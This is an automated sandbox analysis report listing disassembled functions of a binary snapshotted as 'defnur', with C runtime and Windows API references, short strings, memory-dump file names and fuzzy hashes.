_free.LIBCMT ref: 007B2A30
_free.LIBCMT ref: 007B2A45
GetCPInfo.KERNEL32(?,?), ref: 007B2A8F

Part of subcall function 007BC0A3: _free.LIBCMT ref: 007BC10E

_free.LIBCMT ref: 007B2CFA
_free.LIBCMT ref: 007B2D0D
_free.LIBCMT ref: 007B2D1B
_free.LIBCMT ref: 007B2D26
_free.LIBCMT ref: 007B2D68
_free.LIBCMT ref: 007B2D70
_free.LIBCMT ref: 007B2D76
_free.LIBCMT ref: 007B2D7E
_free.LIBCMT ref: 007B2D8C

Strings

P=}, xrefs: 007B2DB7

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$Info
String ID: P=}
API String ID: 2509303402-3617698461
Opcode ID: 74af9079e8adfff96ae1524bd44f76bd754dab308ed7fdb3260fd3b02d4be353
Instruction ID: 3d53ef454e2684a6f314fb53c674d29452e9738678e8b71eb3f62f350c8abfe8
Opcode Fuzzy Hash: 74af9079e8adfff96ae1524bd44f76bd754dab308ed7fdb3260fd3b02d4be353
Instruction Fuzzy Hash: 81D18E71E013059FDB21DF68C885BEEBBF5BF08300F144169E895E7242EB79A946CB60

Function 007BFFAF Relevance: 25.9, APIs: 17, Instructions: 411
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___from_strstr_to_strchr.LIBCMT ref: 007BFFD9
_free.LIBCMT ref: 007C00B2
_free.LIBCMT ref: 007C00DF

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 471297ed673ae616b0b14d751de29e7656e4a010e6b27bf4de156492845c33dd
Instruction ID: 3870c63a4124824742bd5545e96926b15dc35f96f168c40b00803f8ba85f6de3
Opcode Fuzzy Hash: 471297ed673ae616b0b14d751de29e7656e4a010e6b27bf4de156492845c33dd
Instruction Fuzzy Hash: 27D1EA71A00345EFDB25AF78CC85FAE77A8AF05310F15416EEA11A7282EB7D9A40C7D1

Function 007C0A25 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 007C0A6D
_free.LIBCMT ref: 007C0A91
_free.LIBCMT ref: 007C0A9E
_free.LIBCMT ref: 007C0AC3
_free.LIBCMT ref: 007C0AD0
_free.LIBCMT ref: 007C0AD9
_free.LIBCMT ref: 007C0DB3
_free.LIBCMT ref: 007C0DBB

Strings

@b~, xrefs: 007C0D38
@b~, xrefs: 007C0A53

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free
String ID: @b~$@b~
API String ID: 269201875-1694874191
Opcode ID: b3cc8965e8333a2d7c622642c8d2d61acf1bd0cf3eea4c26ecae2ce205b39364
Instruction ID: 4e6969eb0f16ebaa6e5165213bf5f5811a06e981ae18ae1e006cb586406be31e
Opcode Fuzzy Hash: b3cc8965e8333a2d7c622642c8d2d61acf1bd0cf3eea4c26ecae2ce205b39364
Instruction Fuzzy Hash: 97C1F572E40205EFDB20EBA8CC46FDE77F8AB09750F144169FA05FB282D674E94597A0

Function 007C162D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 007C1666

Part of subcall function 007B80D6: HeapFree.KERNEL32(00000000,00000000,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?), ref: 007B80EC
Part of subcall function 007B80D6: GetLastError.KERNEL32(?,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?,?), ref: 007B80FE

Part of subcall function 007C0927: _free.LIBCMT ref: 007C0944
Part of subcall function 007C0927: _free.LIBCMT ref: 007C0956
Part of subcall function 007C0927: _free.LIBCMT ref: 007C0968
Part of subcall function 007C0927: _free.LIBCMT ref: 007C097A
Part of subcall function 007C0927: _free.LIBCMT ref: 007C098C
Part of subcall function 007C0927: _free.LIBCMT ref: 007C099E
Part of subcall function 007C0927: _free.LIBCMT ref: 007C09B0
Part of subcall function 007C0927: _free.LIBCMT ref: 007C09C2
Part of subcall function 007C0927: _free.LIBCMT ref: 007C09D4
Part of subcall function 007C0927: _free.LIBCMT ref: 007C09E6
Part of subcall function 007C0927: _free.LIBCMT ref: 007C09F8
Part of subcall function 007C0927: _free.LIBCMT ref: 007C0A0A
Part of subcall function 007C0927: _free.LIBCMT ref: 007C0A1C

_free.LIBCMT ref: 007C1688
_free.LIBCMT ref: 007C169D
_free.LIBCMT ref: 007C16A8
_free.LIBCMT ref: 007C16CA
_free.LIBCMT ref: 007C16DD
_free.LIBCMT ref: 007C16EB
_free.LIBCMT ref: 007C16F6
_free.LIBCMT ref: 007C172E
_free.LIBCMT ref: 007C1735
_free.LIBCMT ref: 007C1752
_free.LIBCMT ref: 007C176A

Strings

@b~, xrefs: 007C1643

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: @b~
API String ID: 776569668-1873609164
Opcode ID: 3033c0e547683ffc0b56e576ccb5fbc4369e6accb37422366fed0dd98bc9b19e
Instruction ID: 618e2a958bd9df59e2d5c55bc8857a17b84109a2b8ebc64b9bd1854a3d5d9dc6
Opcode Fuzzy Hash: 3033c0e547683ffc0b56e576ccb5fbc4369e6accb37422366fed0dd98bc9b19e
Instruction Fuzzy Hash: 30313831A00601DFEB30AA39D849F9A77E9BF01390F54446DE469A6252DF78EC84CB61

Function 007C0927 Relevance: 19.6, APIs: 13, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007C0944

Part of subcall function 007B80D6: HeapFree.KERNEL32(00000000,00000000,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?), ref: 007B80EC
Part of subcall function 007B80D6: GetLastError.KERNEL32(?,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?,?), ref: 007B80FE

_free.LIBCMT ref: 007C0956
_free.LIBCMT ref: 007C0968
_free.LIBCMT ref: 007C097A
_free.LIBCMT ref: 007C098C
_free.LIBCMT ref: 007C099E
_free.LIBCMT ref: 007C09B0
_free.LIBCMT ref: 007C09C2
_free.LIBCMT ref: 007C09D4
_free.LIBCMT ref: 007C09E6
_free.LIBCMT ref: 007C09F8
_free.LIBCMT ref: 007C0A0A
_free.LIBCMT ref: 007C0A1C

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 623e88861340e8a5f015a771d9d5aca8f39ab4ac8aa9ddaeb5f9f3e1e0121cb3
Instruction ID: 70ea63d2ef6fe2239a409cb3e009566f1add9a9bb2b9599b8035cff496384a11
Opcode Fuzzy Hash: 623e88861340e8a5f015a771d9d5aca8f39ab4ac8aa9ddaeb5f9f3e1e0121cb3
Instruction Fuzzy Hash: D5214432505200EBC670EB64E8C9F5B73EDBA14390764480DF555EBA52CA7CFC8487D5

Function 007ACC42 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 007ACD3F
type_info::operator==.LIBVCRUNTIME ref: 007ACD61
___TypeMatch.LIBVCRUNTIME ref: 007ACE70
CatchIt.LIBVCRUNTIME ref: 007ACEC1
IsInExceptionSpec.LIBVCRUNTIME ref: 007ACF42
_UnwindNestedFrames.LIBCMT ref: 007ACFC6
CallUnexpected.LIBVCRUNTIME ref: 007ACFE1

Strings

csm, xrefs: 007ACCEC
csm, xrefs: 007ACC7F
csm, xrefs: 007ACD98

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: 705d2600c0db9c55a69b24d473b946870e1177954f133807aaf260748fae6650
Instruction ID: c110062f396778a53796b3b56a1a9117325d34ff2b7d888dd7c80f0c96e2f00a
Opcode Fuzzy Hash: 705d2600c0db9c55a69b24d473b946870e1177954f133807aaf260748fae6650
Instruction Fuzzy Hash: CDB19D76904209FFCF26DFA4C9459AEBBB6BF86310B104269F8156B212D738DE11CF91

Function 007BB44D Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 007BB6EE, 007BB6F3

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 1c12d9abed2f11ef64ca34b5bf49d287222680486e005ef5449c9fa1adc909aa
Instruction ID: 4656022cc6ca418b80bfe90ca95066b63853d806cad38510bc46c2fd05ce5b87
Opcode Fuzzy Hash: 1c12d9abed2f11ef64ca34b5bf49d287222680486e005ef5449c9fa1adc909aa
Instruction Fuzzy Hash: 05C1C370A04249EFDB21DF98C895BED7BB1BF89300F50415AE951AB392CBB8DD41CB61

Function 007C39BF Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007C3678: CreateFileW.KERNEL32(00000000,?,?,h:|,?,?,00000000,?,007C3A68,00000000,0000000C), ref: 007C3695

GetLastError.KERNEL32 ref: 007C3AD3
__dosmaperr.LIBCMT ref: 007C3ADA
GetFileType.KERNEL32(00000000), ref: 007C3AE6
GetLastError.KERNEL32 ref: 007C3AF0
__dosmaperr.LIBCMT ref: 007C3AF9
CloseHandle.KERNEL32(00000000), ref: 007C3B19
CloseHandle.KERNEL32(007B7311), ref: 007C3C66
GetLastError.KERNEL32 ref: 007C3C98
__dosmaperr.LIBCMT ref: 007C3C9F

Strings

H, xrefs: 007C3C24

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 17ea92dafd1720432a37a5d68545b7a47543e987b6f5f584c0a213738a47a875
Instruction ID: 2c935e0f4b8b09118da7ad841b2e7914d5c6fecdc086949c9150b7c42564ff25
Opcode Fuzzy Hash: 17ea92dafd1720432a37a5d68545b7a47543e987b6f5f584c0a213738a47a875
Instruction Fuzzy Hash: F6A108329041489FCF199F68DC55BEE3BA1AB0A314F14815DF811AF3A1D7399E12C755

Function 007C0E44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007C0EB2
_free.LIBCMT ref: 007C0EBE
_free.LIBCMT ref: 007C0FE7
_free.LIBCMT ref: 007C0FF2

Strings

@b~, xrefs: 007C0E6F

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free
String ID: @b~
API String ID: 269201875-1873609164
Opcode ID: 5eede51e193e790f7e9d03d1cbbbb9e827b1f160f0a0e54347f7914137266d64
Instruction ID: d72e81b73d9f6e479154af2c1ebefb49323576c7938ef7652d8516b8e67aa619
Opcode Fuzzy Hash: 5eede51e193e790f7e9d03d1cbbbb9e827b1f160f0a0e54347f7914137266d64
Instruction Fuzzy Hash: A2619171900305DFDB20EF64C841FAAB7E8BB44750F24456DE955AB281EB78ED80CBA1

Function 007A8CA3 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 139threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 007A8CCB
GetCurrentThreadId.KERNEL32 ref: 007A8CE8
GetCurrentThreadId.KERNEL32 ref: 007A8CFD
_xtime_get.LIBCPMT ref: 007A8D83
GetCurrentThreadId.KERNEL32 ref: 007A8DAD
__Xtime_diff_to_millis2.LIBCPMT ref: 007A8DC9
_xtime_get.LIBCPMT ref: 007A8DEC
GetCurrentThreadId.KERNEL32 ref: 007A8DF6
GetCurrentThreadId.KERNEL32 ref: 007A8E2D

Strings

/x, xrefs: 007A8D7D, 007A8DC2, 007A8DE6, 007A8D82, 007A8DC5, 007A8DEB

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID: /x
API String ID: 3943753294-2834519551
Opcode ID: 4ff60fcc16de201d414fa90dd7a9718d6dbc11762c1eea66bea02db3d97dc11c
Instruction ID: 5dc9c0d2556150196560fa70aca86a891ba8a3590f65be4989d40b2aad6950ae
Opcode Fuzzy Hash: 4ff60fcc16de201d414fa90dd7a9718d6dbc11762c1eea66bea02db3d97dc11c
Instruction Fuzzy Hash: 5751AE31A00215DFCF50DF64D9C45A9BBF4EF5A310B24869AE906EB291DB38ED40CF66

Function 007BE8AE Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 330timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007BE96B
_free.LIBCMT ref: 007BEB37
_free.LIBCMT ref: 007BEBAF
GetTimeZoneInformation.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,?,?,?,007BED70,?,?,00000000), ref: 007BEBC1

Strings

p]}, xrefs: 007BECD5
p{, xrefs: 007BE9A9, 007BE9E5, 007BE9B2, 007BE9EC
x{, xrefs: 007BEB6A, 007BEC7B, 007BEB70
p{, xrefs: 007BE8FD, 007BE8B8, 007BE993, 007BE9EE, 007BEA22, 007BEA5F, 007BEAB4, 007BEB19, 007BEB59

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID: p]}$p{$p{$x{
API String ID: 597776487-470122311
Opcode ID: 0a1f4830acf82e2e1140f7d7f78a4a8e9b25099d5ae6e2fa8874d76eaba107b5
Instruction ID: ce3c2c2603d27b630a9dd0240d97acc15429aa1f342e8144dbd8dd04ef20fc20
Opcode Fuzzy Hash: 0a1f4830acf82e2e1140f7d7f78a4a8e9b25099d5ae6e2fa8874d76eaba107b5
Instruction Fuzzy Hash: D5A10772A00215EBCB10AF64DC8ABEE7BB9EF45350F148169F901AB351E77C9E40CB94

Function 007B6BD8 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007B6BEE

Part of subcall function 007B80D6: HeapFree.KERNEL32(00000000,00000000,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?), ref: 007B80EC
Part of subcall function 007B80D6: GetLastError.KERNEL32(?,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?,?), ref: 007B80FE

_free.LIBCMT ref: 007B6BFA
_free.LIBCMT ref: 007B6C05
_free.LIBCMT ref: 007B6C10
_free.LIBCMT ref: 007B6C1B
_free.LIBCMT ref: 007B6C26
_free.LIBCMT ref: 007B6C31
_free.LIBCMT ref: 007B6C3C
_free.LIBCMT ref: 007B6C47
_free.LIBCMT ref: 007B6C55

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ff0aed44b3ab338581bd8cdf64721b781b867c170bd2ea3d5aa1db670f3975bc
Instruction ID: 67d8ef52b3b7ac67eea83f81424ecf98505e887c33e2a79a387f993beeb2ef76
Opcode Fuzzy Hash: ff0aed44b3ab338581bd8cdf64721b781b867c170bd2ea3d5aa1db670f3975bc
Instruction Fuzzy Hash: 69217C7690010CEFCB41EF94C985EDE7BB9BF18350F018166FA15AB121EB75DA54CB81

Function 007A2690 Relevance: 12.3, APIs: 8, Instructions: 343COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007A2757
std::_Rethrow_future_exception.LIBCPMT ref: 007A27A4
std::_Rethrow_future_exception.LIBCPMT ref: 007A27B4
__Mtx_unlock.LIBCPMT ref: 007A284B
__Mtx_unlock.LIBCPMT ref: 007A2944
__Mtx_unlock.LIBCPMT ref: 007A2992
__Cnd_broadcast.LIBCPMT ref: 007A29DC
__Mtx_unlock.LIBCPMT ref: 007A29E5

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_$Cnd_broadcast
String ID:
API String ID: 3990724213-0
Opcode ID: d7347292c79ce68f888db5d2a9eadeff59261d8adf487e9529a3a347c2f731e0
Instruction ID: 198f73ffc115c78f3cdb5742f89a4d8907e5dbeb9e6af8c04276a349636b5777
Opcode Fuzzy Hash: d7347292c79ce68f888db5d2a9eadeff59261d8adf487e9529a3a347c2f731e0
Instruction Fuzzy Hash: 98B106B1D04205DFDB21DF68C849BAFBBB4BF86300F00476DE81567652EB38A945CB92

Function 007B5890 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007B6CF0: GetLastError.KERNEL32(?,?,?,007AE157,?,?,?,?,007AEFF2,?), ref: 007B6CF5
Part of subcall function 007B6CF0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,007AE157,?,?,?,?,007AEFF2,?), ref: 007B6D93

_free.LIBCMT ref: 007B5B7B
_free.LIBCMT ref: 007B5B94
_free.LIBCMT ref: 007B5BD2
_free.LIBCMT ref: 007B5BDB
_free.LIBCMT ref: 007B5BE7

Strings

C, xrefs: 007B59EC

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: 98f43c2ec8cb1f0e0fbf9a9cebba313856ccdcc26dc67a0ffff9697bb8ad409c
Instruction ID: f1afa916f544237520a0ff5116b9e2240317dafa91f7520152192f1a2683e4b0
Opcode Fuzzy Hash: 98f43c2ec8cb1f0e0fbf9a9cebba313856ccdcc26dc67a0ffff9697bb8ad409c
Instruction Fuzzy Hash: F3B14C75901619DBDB24DF18C888BEEB7B5FF48314F5085AAE849A7350E778AE90CF40

Function 007B5405 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007B8305: HeapAlloc.KERNEL32(00000000,?,?,?,007BFA70,00000220,?,?,?,?,?,?,007AEFF2,?), ref: 007B8337

_free.LIBCMT ref: 007B5514
_free.LIBCMT ref: 007B552B
_free.LIBCMT ref: 007B5548
_free.LIBCMT ref: 007B5563
_free.LIBCMT ref: 007B557A

Strings

lM}, xrefs: 007B5458

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$AllocHeap
String ID: lM}
API String ID: 1835388192-3589265311
Opcode ID: a8729a011d8177f81da6d7014f6a63db0bda884c9e7c3c8cac45ca801337e2d3
Instruction ID: 6ef8d8fde83d34c15849eca3b08f7cee6810c691379a03f42ddf6368712132c6
Opcode Fuzzy Hash: a8729a011d8177f81da6d7014f6a63db0bda884c9e7c3c8cac45ca801337e2d3
Instruction Fuzzy Hash: E551B171A00A04EFDB21DF69CC41BAA77FAFF58721F140569E805DB250E739EA10CB80

Function 00792260 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

list too long, xrefs: 007926F9

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID:
String ID: list too long
API String ID: 0-1124181908
Opcode ID: c4333ffb8077fad76ed5d984b0b022b35559d8b94cd564e8bf72c6be35b77839
Instruction ID: d6be9cc18441e9fb41630554322f2c745a005234b00641f6b45e6063192af333
Opcode Fuzzy Hash: c4333ffb8077fad76ed5d984b0b022b35559d8b94cd564e8bf72c6be35b77839
Instruction Fuzzy Hash: 5951C4B0D04658EBDB10DF54CC49B9AF7B4FB48310F1082AAE80C97291DB78AE81CF55

Function 007BEB4F Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 167timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,?,?,?,007BED70,?,?,00000000), ref: 007BEBC1
_free.LIBCMT ref: 007BEBAF

Part of subcall function 007B80D6: HeapFree.KERNEL32(00000000,00000000,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?), ref: 007B80EC
